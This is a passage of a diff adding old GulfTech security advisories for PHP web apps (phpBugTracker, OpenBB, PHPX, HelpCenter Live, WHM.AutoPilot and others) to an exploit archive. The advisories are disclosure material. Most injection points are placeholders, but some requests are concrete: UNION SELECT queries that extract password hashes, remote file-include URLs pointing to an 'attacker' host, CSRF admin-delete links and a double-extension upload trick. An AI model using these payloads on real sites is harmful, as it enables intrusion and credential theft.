function delete_saved_query($queryid) {
|
||||
global $db, $u, $me, $_gv;
|
||||
|
||||
$db->query("delete from ".TBL_SAVED_QUERY." where user_id = $u
|
||||
and saved_query_id = $queryid");
|
||||
if (!empty($_gv['form']) and $_gv['form'] == 'advanced') {
|
||||
header("Location: $me?op=query&form=advanced");
|
||||
} else {
|
||||
header("Location: $me?op=query");
|
||||
}
|
||||
}
|
||||
|
||||
There are also other SQL Injection issues in the query.php file. Namely with search queries, and the way they are sorted, or rather the sort method and the order are called from the GET parameters with no validation. Examples below
|
||||
|
||||
query.php?page=2&order=severity.sort_order&sort=[SQL]
|
||||
query.php?page=2&order=[SQL]
|
||||
query.php?page=[SQL]
|
||||
query.php?op=delquery&queryid=[SQL]&form=simple
|
||||
query.php?projects=[SQL]&op=doquery
|
||||
bug.php?op=vote&bugid=[SQL]
|
||||
bug.php?op=viewvotes&bugid=[SQL]
|
||||
user.php?op=delvote&bugid=[SQL]
|
||||
|
||||
Cross Site Scripting:
|
||||
There are a number of XSS (Cross Site Scripting) issues in phpBugTracker. And a good number of them result from the way phpBugTracker handles the output of error messages. For example, lets say an attacker is not knowledgeable in SQL, but he is still up to no good. he can easily use the previously mentioned SQL vulns, cause an error, and inject script or the like into the url thus causing whatever actions he likes to be taken. Below are some example requests.
|
||||
|
||||
bug.php?op=show&bugid=[XSS]
|
||||
query.php?page=2&order=severity.sort_order&sort=[XSS]
|
||||
query.php?page=2&order=[XSS]
|
||||
query.php?page=[XSS]
|
||||
query.php?op=delquery&queryid=[XSS]&form=simple
|
||||
query.php?projects=[XSS]&op=doquery
|
||||
bug.php?op=vote&bugid=[XSS]
|
||||
bug.php?op=viewvotes&bugid=[XSS]
|
||||
bug.php?op=add&project=[XSS]
|
||||
user.php?op=delvote&bugid=[XSS]
|
||||
|
||||
Script Injection Vulnerabilities:
|
||||
There is a problem with input not being validated when a user adds a bug to the phpBugTracker database. An attacker can use this problem to inject code into the fields when adding a bug, and then that code will be ran in the browser of anyone who views the particular bug.
|
||||
|
||||
Solution:
|
||||
frog-m@n from phpsecure.info was kind enough to supply a fix for these issues :) The fix can be downloaded from the following link.
|
||||
|
||||
http://www.phpsecure.info/v2/.php?zone=pDl&id=169
|
||||
|
||||
The developers of phpBugTracker were contacted weeks ago and are believed to be in the process of supplying a fix for these issues.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
81
exploits/php/webapps/43811.txt
Normal file
81
exploits/php/webapps/43811.txt
Normal file
|
@ -0,0 +1,81 @@
|
|||
OpenBB Multiple Vulnerabilities
|
||||
|
||||
Vendor: OpenBB Group
|
||||
Product: OpenBB
|
||||
Version: <= 1.0.6
|
||||
Website: http://www.openbb.com/
|
||||
|
||||
BID: 10214
|
||||
CVE: CVE-2004-1965
|
||||
OSVDB: 5649 5650 5651 5652
|
||||
SECUNIA: 11481
|
||||
PACKETSTORM: 33180
|
||||
|
||||
Description:
|
||||
OpenBB is a fast, lightweight, powerful bulletin board written in PHP/MySQL. Main features include: full customization via styles templates, instant messaging, private messaging, categories, member ranks, poll based threads, moderation, BB codes, thread notifications, Avatars, member lists, private forums and more.
|
||||
|
||||
Cross Site Scripting Vulnerabilities:
|
||||
OpenBB is prone to Cross Site Scripting in multiple files. This may allow an attacker to run code in the context of a users browser, or used to harvest sensitive information from a user such as cookie information. Below are some examples of the XSS issues in OpenBB.
|
||||
|
||||
/member.php?action=login&redirect=[XSS]
|
||||
/myhome.php?action=newmsg&to=blah[XSS]
|
||||
/post.php?action=mail&TID=1[XSS]
|
||||
/index.php?redirect=[XSS]
|
||||
|
||||
SQL Injection Vulnerabilities:
|
||||
It may be possible for an attacker to execute arbitrary SQL queries due to user supplied input not being properly sanitized. Lets have a look at some code from one of the affected files .. post.php
|
||||
|
||||
|
||||
// Check to make sure they are not posting to a category
|
||||
$query_type = new query($SQL, "SELECT type FROM ".$prefix."forum_display
|
||||
WHERE forumid = $FID");
|
||||
$query_type->getrow();
|
||||
$ftype = $query_type->field('type');
|
||||
|
||||
As we can see from this code, the $FID variable seems to get passed directly to the query without being validated, thus allowing for an attacker to execute malicious queries. This is not the only vulnerable file though. Below are a list of similarly vulnerable files.
|
||||
|
||||
/board.php?FID=1[SQL]
|
||||
/member.php?action=list&page=1&sortorder=[SQL]
|
||||
/member.php?action=list&page=1&sortorder=username&perpage=[SQL]
|
||||
/member.php?action=passwdsend&resetid=blah&id=2[SQL]
|
||||
/search.php?&sortby=dateline&sort=DESC&q=open&forums%5B[SQL]%5D
|
||||
/post.php?action=edit&page=1&PID=1[SQL]
|
||||
/post.php?action=post&FID=1[SQL]
|
||||
|
||||
These files are prone to similar attacks because they allow input that has not been validated to be executed in the query. This can be used for example to pull users password hashes.
|
||||
|
||||
Arbitrary Command Execution:
|
||||
This is really in my opinion at least, a very fundamental flaw. As stated in the HTTP/1.1 RFC (RFC 2616 Section 9.1.1 "Safe Methods") no GET request should be used to make any significant actions. This however would not be such a big deal if there was some sort of auth key or session id in place to verify the validity of actions, but there isn't. In short all an attacker has to do is send an admin a pm, or make a malicious post with the desired command and the action will silently execute. For example below are some example administrative actions that an attacker could include in an image tag or malicious link.
|
||||
|
||||
/cp_forums.php?do=remove&id=1
|
||||
/cp_usergroup.php?do=remove&UGID=1
|
||||
/cp_ipbans.php?action=do_delip&ipid=1
|
||||
|
||||
This kind of attack can also be used to run user and moderator commands as seen below. These are only examples, not all the possibilities.
|
||||
|
||||
/myhome.php?action=delmsg&box=inbox&id=all
|
||||
/post.php?action=edit&PID=1&send=1&delete=yes
|
||||
/moderator.php?action=announce&TID=1
|
||||
|
||||
OpenBB actually tries to prevent these kind of attacks by filtering out certain input as seen in /lib/codeparse.php but this does not work. Lets have a look at the code.
|
||||
|
||||
|
||||
case 'img':
|
||||
if(!preg_match('#^(http|https)://(.*?)\.(gif|jpg|jpeg|png)$#', $inside) )
|
||||
$return = '[ invalid image ]';
|
||||
else
|
||||
$return = '<img src="' .str_replace('"', '', $inside). '" alt="User-Posted
|
||||
Image (tm)" border="0" />';
|
||||
break;
|
||||
|
||||
All an attacker has to do in order to have the command executed successfully is make sure the url within the image tag ends with an allowed extension. This is not very safe at all because we can make up a variable, add a good extension and the code is still ran. For example
|
||||
|
||||
/post.php?action=edit&PID=1&send=1&delete=yesI=blah.jpg
|
||||
|
||||
As we can see from the above examples, this issue can be used by a malicious person to all but completely sabotage a site running OpenBB. In the past I have seen phpBB for example deal with the same issue of using unsafe GET requests by limiting the bbcode to only allow images with a valid extension. However this is a bad idea because it does not solve the problem at all, and to this day all phpBB versions are vulnerable to having arbitrary posts deleted and more just by visiting a malicious web page or link. It is a serious issue and should be treated as such. It greatly impacts the security of a web application. Even using the POST method without an auth key or the like is a bad idea in my opinion.
|
||||
|
||||
Solution:
|
||||
Vendors were contacted many weeks ago and plan to release a fixed version soon. Check the OpenBB website for updates and official release details.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
70
exploits/php/webapps/43812.txt
Normal file
70
exploits/php/webapps/43812.txt
Normal file
|
@ -0,0 +1,70 @@
|
|||
PHPX Multiple Vulnerabilities
|
||||
|
||||
Vendor: PHPX
|
||||
Product: PHPX
|
||||
Version: <= 3.26
|
||||
Website: http://www.phpx.org
|
||||
|
||||
BID: 10283 10284
|
||||
CVE: CVE-2004-2364
|
||||
OSVDB: 5903 5904 5905 5906 5907 5908 5909 5910 5911
|
||||
SECUNIA: 11554
|
||||
PACKETSTORM: 33251
|
||||
|
||||
Description:
|
||||
PHPX is a constantly evolving and changing Content Management System (CMS). PHPX is highly customizable and high powered all in one system. PHPX provides content management combined with the power of a portal by including in the core package modules such as FAQ, polls, and forums. PHPX uses dynamic-template-design, what this means is that you have the power to control what your site will look like. Themes are included, but not required. You can create the page however you want, and PHPX will just insert code where you want it. No more 3 columns if you don’t want it! Written in the powerful server language, PHP, and utilizing the amazingly fast and secure database MySQL, PHPX is a great solution for all size website communities, at the best price possible…free!
|
||||
|
||||
Cross Site Scripting Vulnerabilities:
|
||||
PHPX uses a function in the includes/functions.inc.php file that strips out bad stuff from the uri called checkURI() This is not a bad idea when it comes to dealing with XSS issues, however it is poorly coded and does not properly sanitize the values retrieved from the uri. Lets have a look
|
||||
|
||||
function checkURI(){
|
||||
$checkArray = array(">","<","(",")");
|
||||
foreach($checkArray as $c){
|
||||
if (substr_count($_SERVER["REQUEST_URI"], $c)){ die("HACK ATTEMPT"); }
|
||||
}
|
||||
}
|
||||
|
||||
As you can see from this function only a few items are to be stripped from the uri. This can easily be circumvented by hex encoding script and then by sending the requests to a vulnerable file. Below are just a few examples.
|
||||
|
||||
forums.php?forum_id=[VID]&limit=25%3Ciframe%3E
|
||||
forums.php?forum_id=[VID]&topic_id=[VID]&limit=15%3Ciframe%3E
|
||||
users.php?action=&limit=100%3Ciframe%3E
|
||||
users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
|
||||
forums.php?action=post&forum_id=[VID]%3E%3Ciframe%3E
|
||||
forums.php?action=search&search_id=[VID]&limit=25%3E%3Ciframe%3E
|
||||
users.php?action=email&user_id=%3E%3Ciframe%3E
|
||||
users.php?action=view&user_id=[VID]%3E%3Ciframe%3E
|
||||
forums.php?forum_id=[VID]%3E%3Ciframe%3E
|
||||
forums.php?forum_id=[VID]&topic_id=[VID]&limit=%3E%3Ciframe%3E
|
||||
forums.php?action=post&forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
|
||||
news.php?news_id=[VID]%3E%3Ciframe%3E
|
||||
forums.php?forum_id=[VID]&topic_id=[VID]%3E%3Ciframe%3E
|
||||
|
||||
Where VID is should be a valid id of some sorts depending on the function that is called. I am sure there are more XSS issues than this, but the real point is to show PHPX's filtering function does not work, and not to find every single place where there is possibility for cross site scripting. The checkURI() function isn't a bad idea, but should definitely use something like the strip_tags() function or htmlspecialchars() to better validate.
|
||||
|
||||
Path Disclosure Vulnerabilities:
|
||||
It is possible for an attacker to learn the full physical path of the PHPX installation. This can be accomplished by sending a null or invalid value to several instances of the $limit variable. For example see below
|
||||
|
||||
forums.php?action=search&search_id=[VID]&limit=
|
||||
|
||||
This uri will result in a MySQL_fetch_row() error and reveal the full physical path of the PHPX installation. This is because $limit isn't properly validated.
|
||||
|
||||
Arbitrary Command Execution:
|
||||
This is really in my opinion at least, a very fundamental flaw. As stated in the HTTP/1.1 RFC (RFC 2616 Section 9.1.1 "Safe Methods") no GET request should be used to make any significant actions. This however would not be such a big deal if there was some sort of auth key or session id in place to verify the validity of actions, but there isn't. In short all an attacker has to do is send an admin a pm, or make a malicious post with the desired command and the action will silently execute.
|
||||
|
||||
/admin/page.php?action=delete&page_id=[VID]
|
||||
/admin/news.php?action=delete&news_id=[VID]
|
||||
/admin/user.php?action=delete&user_id=[VID]
|
||||
/admin/images.php?action=delete&image_id=[VID]
|
||||
/admin/page.php?action=deletePoll&poll_id=[VID]
|
||||
/admin/forums.php?action=words&subaction=delete&word_id=[VID]
|
||||
/admin/forums.php?action=flag&subaction=delete&flag_id=[VID]
|
||||
/admin/forums.php?action=xcode&subaction=delete&xcode_id=[VID]
|
||||
|
||||
As we can see from the above examples, this issue can be used by a malicious person to all but completely sabotage a site running PHPX. If any one of these commands were placed in an image tag an attacker could delete users, news items, pages, images, polls, word censors, flags, xcode and probably more. In the past I have seen phpBB for example deal with the same issue of using unsafe GET requests by limiting the bbcode to only allow images with a valid extension. However this is a bad idea because it does not solve the problem at all, and to this day all phpBB versions are vulnerable to having arbitrary posts deleted and more just by visiting a malicious web page or link. It is a serious issue and should be treated as such. It greatly impacts the security of a web application. Even using the POST method without an auth key or the like is a bad idea.
|
||||
|
||||
Solution:
|
||||
The lead developer was first informed of these issues over a month ago. All of the issues should be addressed. One of the new features to make phpX more secure is a auth_key schema to validate actions etc. All in all I think they did a great job and take the security of their product very seriously :) phpX 3.3.0 is to be released Monday, May the 3rd. Upgrade is strongly advised.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
43
exploits/php/webapps/43813.txt
Normal file
43
exploits/php/webapps/43813.txt
Normal file
|
@ -0,0 +1,43 @@
|
|||
IP.Board Design Error
|
||||
|
||||
Vendor: Invision Power Services
|
||||
Product: IP.Board
|
||||
Version: <= 1.3.1
|
||||
Website: http://www.invisionpower.com/
|
||||
|
||||
BID: 10559
|
||||
|
||||
Description:
|
||||
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world.
|
||||
|
||||
IP Spoofing Vulnerability:
|
||||
There lies a vulnerability in all version of Invision Power Board that allow a user to spoof his/her IP address by creating a bogus X_FORWARDED_FOR HTTP Header entry. This condition can also be caused by a user unknowingly if they use a proxy to access the internet. For example, private LAN based IP's will be logged which are impossible to trace. Below we see a snip of the vulnerable code taken from the file sources/functions.php @ line 1440
|
||||
|
||||
//----------------------------------------
|
||||
// Sort out the accessing IP
|
||||
// (Thanks to Cosmos and schickb)
|
||||
//----------------------------------------
|
||||
|
||||
$addrs = array();
|
||||
|
||||
foreach( array_reverse( explode( ',', $HTTP_X_FORWARDED_FOR ) ) as $x_f )
|
||||
{
|
||||
$x_f = trim($x_f);
|
||||
|
||||
if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $x_f ) )
|
||||
{
|
||||
$addrs[] = $x_f;
|
||||
}
|
||||
}
|
||||
|
||||
$addrs[] = $_SERVER['REMOTE_ADDR'];
|
||||
$addrs[] = $HTTP_PROXY_USER;
|
||||
$addrs[] = $REMOTE_ADDR;
|
||||
|
||||
So, basically if the X_FORWARDED_FOR header entry is present it ignores everything else? Seems to be the case. Not a good idea at all. This vulnerabilty makes the IP logging feature of IPB totally useless. Also, IP's are used in the sessions, as one of the ways to uniquely identiofy a user. For example, if you take your admin session ID (adsess) and then use it from a different IP than the one the session was created with you get an error message that the IP is not yours etc etc. So, as you can see this issue could probably cause alot more problems than meets the eye.
|
||||
|
||||
Solution:
|
||||
Until there is an official fix I just commented out the foreach loop shown in the previous code snippet. It's not a pretty solution but works for now.
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team.
|
74
exploits/php/webapps/43814.txt
Normal file
74
exploits/php/webapps/43814.txt
Normal file
|
@ -0,0 +1,74 @@
|
|||
HelpCenter Live! Multiple Vulnerabilities
|
||||
|
||||
Vendor: Michael Bird
|
||||
Product: HelpCenter Live!
|
||||
Version: <= 1.2.7
|
||||
Website: http://www.helpcenterlive.com/
|
||||
|
||||
BID: 13666 13667
|
||||
CVE: CVE-2005-1672 CVE-2005-1673 CVE-2005-1674
|
||||
OSVDB: 16651 16652 16653 16654 16655 16656 16657 16658
|
||||
SECUNIA: 15401
|
||||
PACKETSTORM: 39275
|
||||
|
||||
Description:
|
||||
Help Center Live is a `Live` help desk system written in PHP using a MySql database backend that features Live Support, Trouble Tickets and FAQ within one project. This is a very popular application, especially with webhosts and other services. Unfortunately Help Center Live is vulnerable to Sql injection, Script Injection, and Cross Site Scripting attacks, but the most serious of the vulnerabilities mentioned (The SQL Injection attacks) require magic_quotes_gpc to be set to off.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
Cross site scripting exists in Help Center Live. This vulnerability exists due to user supplied input not being checked properly. Below is an example.
|
||||
|
||||
http://path/faq/index.php?find=blah[CODEGOESHERE]&search=Search
|
||||
|
||||
This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser. This is the same vulnerability I had reported in my previous Help Center Live advisory, but it seems that the issue was never resolved properly.
|
||||
|
||||
|
||||
Script Injection Vulnerability:
|
||||
There are several script injection vulnerabilities in Help Center Live that allows an attacker to force a logged in operator to run malicious code in their browser. This can be accomplished by an attacker by entering malicious code into the name or message fields when requesting a chat, or by entering malicious script into the body of a message when opening a trouble ticket. Also, an attacker can use this to retrieve the md5 password of the operator (the md5 password is stored in the cookie), or can use this issue combined with the soon to be mentioned CSRF issue and force an admin to unknowingly or knowingly execute arbitrary commands.
|
||||
|
||||
|
||||
Cross Site Request Forgeries:
|
||||
Help Center Live uses the GET method for some admin actions, and the only check is if the admin is logged in. This makes it easy for an attacker to trick a logged in admin to perform arbitrary requests.
|
||||
|
||||
http://www.example.com/support/cp/tt/view.php?attach=y&tid=2
|
||||
http://www.example.com/support/cp/tt/view.php?tid=2&delete=1
|
||||
|
||||
The above url's will (a) cause an operator to allow attachments for a trouble ticket that is opened with the id of two (b) cause an operator to delete an attachment. There may be more instances of CSRF in Help Center Live, but I will leave that for someone else to mess with :) For more information on CSRF visit the following url: http://www.tux.org/~peterw/csrf.txt
|
||||
|
||||
|
||||
SQL Injection:
|
||||
There are a number of SQL Injection vulnerabilities in Help Center Live, as little/no sanitation is made on incoming variables passed to the SQL Query. In my opinion the only reason these issues have not been found already is because (a) everything is encapsulated in single quotes, so if magic quotes gpc is on then we cannot exploit the issues (b) Every single SQL Injection issue I am about to talk about is a somewhat blind SQL Injection issue. First we have a couple "run of the mill" SQL Injection issues in tt/view.php and faq/index.php respectively. I will not spend a lot of time on the technical details of these issues because they are nothing we have not seen a million times. Here is some vulnerable code snip though to give an understanding.
|
||||
|
||||
$TICKET_tid = $_GET["tid"];
|
||||
$result = DATABASE_query("SELECT * FROM ".$DB_prefix."tickets WHERE
|
||||
id='$TICKET_tid' AND username='$TICKETS_username'");
|
||||
if ($get = DATABASE_fetch($result)) {
|
||||
|
||||
As we can see from the above code $TICKET_tid is never sanitized and taken directly from the user supplied $_GET. We cannot exploit this issue, or any other issue in this advisory because the data is encapsulated in single quotes, and magic_quotes_gpc will not allow us to break the query. Below are example requests that will allow for us to grab an operators username and password hash by exploiting the above code, and also very similar code in /faq/index.php
|
||||
|
||||
http://www.example.com/support/faq/index.php?x=f&id=-99'%20UNION%20SELECT%200,
|
||||
0,operator,password%20FROM%20hcl_operators%20WHERE%201/*
|
||||
|
||||
http://www.example.com/support/tt/view.php?tid=-99'%20UNION%20SELECT%200,0,0,
|
||||
operator,password,0,0,0,0,0%20FROM%20hcl_operators%20WHERE%201/*
|
||||
|
||||
There are also a few more SQL Injection vulnerabilities in Help Center Live that are a bit more interesting, and these issues lie in lh/chat_download.php, lh/icon.php, and tt/download.php. I find these particular examples a bit more interesting because they are download scripts, and successful exploitation leads to things like the downloaded file having the desired password hash, the content type in the headers displaying the hash, or having a base64_decoded version of the hash that may look something like this (‡ÃÞ÷á¯=Ùî7}ÿ7Ã?×uõÃÛkN¹) but can be base64 encoded into the md5 hash.
|
||||
|
||||
http://www.example.com/support/tt/download.php?fid=-99'%20UNION%20SELECT%200,0,0,
|
||||
password,0,operator,0,0%20FROM%20hcl_operators%20WHERE%20id='1
|
||||
|
||||
http://www.example.com/support/lh/icon.php?status=-99' UNION SELECT password,
|
||||
password FROM hcl_operators WHERE id=1/*
|
||||
|
||||
http://www.example.com/support/lh/chat_download.php?fid=-99' UNION SELECT password,
|
||||
operator,password FROM hcl_operators WHERE id=1/*
|
||||
|
||||
Again, exploitation of these issues requires magic_quotes_gpc set to off on the server hosting the Help Center Live installation.
|
||||
|
||||
|
||||
Solution:
|
||||
According to the develepor a patch has been available for some time now.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
57
exploits/php/webapps/43818.txt
Normal file
57
exploits/php/webapps/43818.txt
Normal file
|
@ -0,0 +1,57 @@
|
|||
WHM.AutoPilot Multiple Vulnerabilities
|
||||
|
||||
Vendor: Benchmark Designs, LLC
|
||||
Product: WHM.AutoPilot
|
||||
Version: <= 2.4.6.5
|
||||
Website: http://www.whmautopilot.com/
|
||||
|
||||
BID: 12119
|
||||
CVE: CVE-2004-1420 CVE-2004-1421 CVE-2004-1422
|
||||
OSVDB: 12693 12694 12695 12696 12697
|
||||
SECUNIA: 13673
|
||||
PACKETSTORM: 35559
|
||||
|
||||
Description:
|
||||
Started by a webhost looking for more out of a simple managment script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, WHM AutoPilot was born. [ as quoted from their official website ]
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples I am showing below.
|
||||
|
||||
http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E
|
||||
http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E
|
||||
|
||||
I believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code.
|
||||
|
||||
|
||||
File Include Vulnerability:
|
||||
WHM AutoPilot is susceptible to several potentially very dangerous file include vulns. Below are several examples of how files can be included and possibly executed remotely.
|
||||
|
||||
http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php
|
||||
http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php
|
||||
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
|
||||
|
||||
This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous. Now for something weird: See the first example I gave above? Notice the "header.php/step_one.php"? Well, that was done to get around a piece of code that looked something like this. I am not going to include the actual code since this is proprietary software, but this should definitely give you the idea of what happened.
|
||||
if (ereg("test.php", $PHP_SELF)==true)
|
||||
{
|
||||
include $server_inc."/step_one_tables.php";
|
||||
}
|
||||
|
||||
This works because $PHP_SELF will return the value of "header.php/step_ one.php" expectedly. The below excerpt was taken from the php manual.
|
||||
|
||||
"PHP_SELF
|
||||
The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file."
|
||||
|
||||
I see a lot of developers use this variable without giving much though to how it can be taken advantage of. I have even found it can cause be used to conduct cross site scripting attacks when the phpinfo() function is called.
|
||||
|
||||
|
||||
Information Disclosure:
|
||||
By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php"
|
||||
|
||||
|
||||
Solution:
|
||||
I have contacted the developers, and a new version of WHM Autopilot is available.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
36
exploits/php/webapps/43819.txt
Normal file
36
exploits/php/webapps/43819.txt
Normal file
|
@ -0,0 +1,36 @@
|
|||
PHP-Calendar Arbitrary File Inclusion
|
||||
|
||||
Vendor: Sean Proctor
|
||||
Product: PHP-Calendar
|
||||
Version: <= 0.10.1
|
||||
Website: http://php-calendar.sourceforge.net/
|
||||
|
||||
BID: 12127
|
||||
CVE: CVE-2004-1423
|
||||
OSVDB: 12700 12701
|
||||
SECUNIA: 22516
|
||||
PACKETSTORM: 35563
|
||||
|
||||
Description:
|
||||
I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ]
|
||||
|
||||
|
||||
File Include Vulnerability:
|
||||
There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's
|
||||
|
||||
http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php
|
||||
|
||||
If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations.
|
||||
|
||||
|
||||
Solution:
|
||||
php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php
|
||||
if ( !defined('IN_PHPC') ) {
|
||||
die("Hacking attempt");
|
||||
}
|
||||
|
||||
Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
49
exploits/php/webapps/43820.txt
Normal file
49
exploits/php/webapps/43820.txt
Normal file
|
@ -0,0 +1,49 @@
|
|||
PhotoPost Classifieds Multiple Vulnerabilities
|
||||
|
||||
Vendor: All Enthusiast, Inc.
|
||||
Product: PhotoPost Classifieds
|
||||
Version: <= 2.01
|
||||
Website: http://www.photopost.com/class/
|
||||
|
||||
BID: 12156
|
||||
OSVDB: 12728 12729 12730 12731 12732 12733 12734 12735 12736 12737
|
||||
SECUNIA: 13699
|
||||
|
||||
Description:
|
||||
Add a full-featured user-to-user classified ads system to your website to connect buyers with sellers. No matter what your users interestes may be, they likely want to buy and sell items related to your site's topic, and PhotoPost Classifieds makes it easy. PhotoPost Classifieds is designed to integrate seamlessly into your current site design, and can even use your existing forum user database (if you have one) for one central login. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
PhotoPost Classifieds is prone to cross site scripting in several different scripts throughout the application. Below are examples:
|
||||
|
||||
http://path/showcat.php?si=[XSS]
|
||||
http://path/reportproduct.php?report=[XSS]
|
||||
http://path/contact.php?contact=[INT]&productid=[INT][XSS]
|
||||
|
||||
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
|
||||
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
There are a substantial number of SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy.
|
||||
|
||||
http://path/showproduct.php?product=[INT][SQL]
|
||||
http://path/contact.php?contact=[INT]&productid=[INT][SQL]
|
||||
http://path/addfav.php?product=[INT][SQL]&do=add
|
||||
http://path/showproduct.php?product=[INT]&sort=[INT][SQL]&cat=[INT]
|
||||
http://path/showcat.php?cat=[INT][SQL]
|
||||
http://path/index.php?cat=[INT][SQL]
|
||||
http://path/comments.php?product=[INT]&cedit=[INT][SQL]
|
||||
|
||||
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
|
||||
|
||||
|
||||
Arbitrary File Upload:
|
||||
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the classified ad that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when placing an ad (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing an ad, just not when creating a new classified ad.
|
||||
|
||||
|
||||
Solution:
|
||||
PhotoPost Classifieds 2.02 has been released to resolve these issues. All users should upgrade their PhotoPost Classifieds immediately.
|
||||
|
||||
|
||||
Credits:
|
||||
James Bercegay of the GulfTech Security Research Team
|
47
exploits/php/webapps/43821.txt
Normal file
47
exploits/php/webapps/43821.txt
Normal file
|
@ -0,0 +1,47 @@
|
|||
ReviewPost Multiple Vulnerabilities
|
||||
|
||||
Vendor: All Enthusiast, Inc.
|
||||
Product: ReviewPost
|
||||
Version: <= 2.84
|
||||
Website: http://www.reviewpost.com/
|
||||
|
||||
BID: 12159
|
||||
CVE: CVE-2005-0270 CVE-2005-0271 CVE-2005-0272
|
||||
OSVDB: 12703 12704 12705 12706 12707 12708
|
||||
SECUNIA: 13697
|
||||
PACKETSTORM: 35594
|
||||
|
||||
Description:
|
||||
Your community of users represents a wealth of knowledge. Now your users can help build and maintain your site by writing reviews of any product imaginable. With ReviewPost, you will quickly amass a valuable collection of user opinions about products that relate to your site. ReviewPost can even use your existing forum login system (if you have one) to keep your users from having to register twice, and makes an excellent companion to ReviewPost. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries.
|
||||
|
||||
|
||||
Cross Site Scripting:
|
||||
ReviewPost is prone to cross site scripting in several different scripts throughout the application.
|
||||
|
||||
http://path/showcat.php?si=[XSS]
|
||||
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT][XSS]
|
||||
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT]&page=[INT][XSS]
|
||||
http://path/reportproduct.php?report=[INT][XSS]
|
||||
|
||||
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
|
||||
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
There are a couple of SQL Injection vulnerabilities in ReviewPost. Some are easy to exploit, others are not so easy. Examples are below:
|
||||
|
||||
http://path/showcat.php?cat=[INT][SQL]
|
||||
http://path/addfav.php?product=[INT][SQL]&do=add
|
||||
|
||||
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
|
||||
|
||||
|
||||
Arbitrary File Upload:
|
||||
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the Review that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when posting a review (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing a review, just not when creating a new Review.
|
||||
|
||||
|
||||
Solution:
|
||||
